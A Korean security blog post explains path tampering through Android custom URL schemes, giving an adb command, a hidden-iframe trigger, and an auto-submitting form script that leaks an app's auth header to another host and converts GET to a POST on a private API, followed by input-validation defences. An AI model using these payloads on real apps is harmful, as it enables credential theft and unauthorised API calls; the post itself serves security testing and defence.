앱 테스트하다보면 Custom Scheme에서 발생한 API 요청 중 일부가 GET만 사용하는데, 이런 구간에서 주소 변조나 API 로직을 바꿀 수 있는 부분이 있을 때 좀 난감하긴합니다.

실제로 중요한 요청들은 POST로 구현되는데(RESTful 하려면.. 얼추) GET을 POST로 바꾸기엔 Native 를 건드리는게 아니라서 좀 애매합니다.

생각하다보니 재미있는 방법이 나와서 공유드립니다~


Custom Scheme API Path Tampering

이런 공격(?) 취약점(?)을 지칭하는 말이 있는지는 모르겠으나, 모바일 앱 분석할 떄 자주 챙기는 부분인데요.. 그냥 대충 이름 끄적였습니다.. 예시를 통해 대략 어떤건지 봐보죠.

이런 스킴이 있다고 칩시다.

testapp://auth?user={user input}

이를 통해 발생하는 요청은

GET /auth/checkuser/{user input}/name
Auth: a7656465a78a9765a4a5...
이렇다고 할 때 이 스킴은 API Path 변조의 위협이 있겠죠.

Attack Scheme
testapp://auth?user=../../myapi?

Request
GET /auth/checkuser/../../myapi?/name
Auth: a7656465a78a9765a4a5...
=>
GET /myapi?/name
Auth: a7656465a78a9765a4a5...

개발자의 의도와는 다르게 공격자는 PATH를 바꿀 수 있느데, 이때 HTTP Method는 GET으로 한정됩니다.. (현재 기준으론)
간혹 이런 경우도 있습니다.

Attack Scheme
testapp://auth?callback=https:///www.hahwul.com

Request
GET /auth/
Host www.hahwul.com
Auth: a7656465a78a9765a4a5...

공격코드로 뽑아내면 2가지정도 케이스가 있습니다.
  • on ADB
    거의 테스트용입니다..
    $ adb shell am start -a android.intent.action.VIEW -d "testapp://auth?callback=https:///www.hahwul.com"
    
  • on Web
    테스트코드로는 별로지만 실제로는 이쪽이 더 사용성이 높습니다.
    <iframe src="testapp://auth?callback=https:///www.hahwul.com" style="width:1px;height:1px;"></iframe>
    

Change HTTP Method for Useful APIs Call

보통 GET 단위에서의 변조도 분명 무시하진 못합니다. 중요 헤더나 인증쿠키, API Key 등이 같이 사용되기 떄문에 Native 레벨에서의 API과 동일하기 떄문이죠. 그치만, POST 등 다른 메소드를 쓸 수 있을 때 좀 더 중요한 기능들을 호출할 수 있어집니다.

이 방법은 위에 이야기드린 케이스 중 후자에서 사용할 수 있습니다. 도메인 자체를 바꿔줄 수 없으면 GET => POST 자체는 안되는게 맞습니다. 혹여나 포인트를 본다면 동일한 위치의 API 중 외부로 넘겨줄 수 있거나, 내부 API 중 GET => POST 전환이 필요한 구간이 있어야겠지요.
HTTP Redirect or Proxy(Method change) 등으로 GET => POST로 바꿀 수 있습니다.

<form action="" id="f">
</form>
<script>
  var f = document.getElementById('f');
  f.action="https://target_domain"+document.location.hash.replace('#','');
  f.method='post';
  f.submit();
</script>

이제 이걸 약간 적용해보면..

Attack Scheme
testapp://auth?callback=https://192.168.0.13/test.html#/private/api/call
Request Step
[ Request 1 ]
GET /test.html
Host: 192.168.0.13
Auth: a7656465a78a9765a4a5...

[ Response 1 ]
200 OK
....
<form action="" id="f">
</form>
<script>
  var f = document.getElementById('f');
  f.action="https://target_domain"+document.location.pathname;
  f.method='post';
  f.submit();
</script>

[ Final Request ]

POST /private/api/call
Host: target_domain
Auth: a7656465a78a9765a4a5...

결과적으론 /private/api/call을 POST로 호출하게 됩니다.

https://fanfest.com/wp-content/uploads/2018/10/Ant-Man-Baba-Yaga.gif

How to defense?

결국 입력값 검증에 대한 문제입니다. 대부분 Custom Scheme으로 들어온 값에 대해선 ../ 등의 구문을 Escape 하지 않는 경우가 많은데 보편적인 웹 공격에 쓰이는 대다수의 구문은 막아두는게 좋습니다. 또한 다바이스로 넘어가서 처리되는 부분이라 인코딩쪽으로 우회 케이스가 굉장히 많을텐데, 이 또한 잘 디코딩해서 Escape가 필요할 것 같습니다.

보통 Scheme 파라미터에 들어오는 값은 어느정도 정해져있으니(타입이나 값의 특징들?) 허용범위(예를들면 변수 타입이 Int가 아닌경우..)를 벗어났을 떄 차단하는 방식으로 대응하면 좀 더 효과적입니다.

댓글 없음:

댓글 쓰기